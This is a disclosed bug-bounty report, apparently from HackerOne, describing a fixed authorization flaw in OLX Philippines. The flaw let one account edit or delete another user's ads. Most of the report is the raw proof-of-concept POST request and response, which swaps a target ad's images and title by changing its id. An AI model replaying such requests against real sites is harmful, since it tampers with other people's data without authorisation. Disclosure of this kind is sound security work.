Updating and Deleting any Ads on OLX Philippines

Disclosed: 2016-08-04 07:31:40 By atom To olx
Unknown
Vulnerability Details
Hi, I reported it directly to OLX Philippines they fixed it already but I still want to report it here to gain 7 points. Here's the original write-up about this issue: https://medium.com/@atom/severe-bug-on-olx-philippines-updating-and-deleting-any-ads-ea6a81a3327a#.r0n5m7em8 I found a Severe Bug on OLX Philippines, it is about changing the details of any User’s Advertisement, but in this proof of concept, I demonstrated how I changed the picture of the target’s advertisement. Note: I am also able to update any target’s ad info and delete any of their advertisement. Here are​ the following details on how I found the bug: I have 2 OLX accounts. I used the first account to update an advertisement of the 2nd account. The second account posed as the target. The HTTP request: ``` POST /index.php/classifieds+management HTTP/1.1 Host: www.olx.ph Proxy-Connection: keep-alive Content-Length: 4129 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp Origin: http://www.olx.ph Content-Type: multipart/form-data; boundary= — — WebKitFormBoundaryAknwjb8YFA81jV1x Referer: http://www.olx.ph/index.php/update+classifieds/id/69191012 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: [Removed] ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”_qf__adUpdate” ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”id” 69191047 ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”noHTML” 2 ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”categoryType” 5 ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”action” updateAdVerify ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”MAX_FILE_SIZE” 33554432 ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”imageFileCounter” 1 ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”lat” ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”lng” ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”_uniqueFormToken” 9e879279d848a425246e967968560e53 ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”categoryName” International ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”categoryId” 44 ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”file”; filename=”” Content-Type: application/octet-stream ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”primaryPhoto” 1 ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”thumb[1]” http://allanjaydumanhug.ninja/blog/wp-content/uploads/2015/02/olx.png ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”image[1]” http://allanjaydumanhug.ninja/blog/wp-content/uploads/2015/02/olx.png ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”mobile[1]” http://allanjaydumanhug.ninja/blog/wp-content/uploads/2015/02/olx.png ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”imageThumb1″ http://allanjaydumanhug.ninja/blog/wp-content/uploads/2015/02/olx.png ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”imageThumb2″ http://allanjaydumanhug.ninja/blog/wp-content/uploads/2015/02/olx.png ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”imageThumb3″ http://allanjaydumanhug.ninja/blog/wp-content/uploads/2015/02/olx.png ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”name” Anonymous Mask (V Mask) ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”price” 1 ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”number” 09xxxxxxxx1 ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”longDescription” (Redacted) ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”location” Metro Manila ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”address” ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”mapsGeoCode” ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”jobCheck” ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”jobType” ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”experience” ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”jobTitle” ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”salary” ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”education” ——WebKitFormBoundaryAknwjb8YFA81jV1x Content-Disposition: form-data; name=”submit” Update ——WebKitFormBoundaryAknwjb8YFA81jV1x– ``` The HTTP Response: ``` HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sun, 22 Feb 2015 11:14:12 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Keep-Alive: timeout=300 Status: 302 Moved Temporarily Cache-Control: no-cache, must-revalidate Expires: Sat, 26 Jul 1997 05:00:00 GMT Set-Cookie: sulit_lastSelectedCategories=44%2C231; expires=Mon, 22-Feb-2016 11:14:11 GMT; Max-Age=31536000; path=/; domain=.olx.ph Location: http://www.olx.ph/index.php/view+classifieds/id/69191047/recent/1/Anonymous+Mask+%28V+Mask%29 Access-Control-Allow-Origin: api.sulit.com.ph Content-Length: 0 ``` Thanks, Allan
Actions
View on HackerOne
Report Stats
  • Report ID: 150631
  • State: Closed
  • Substate: resolved
  • Upvotes: 19
Share this report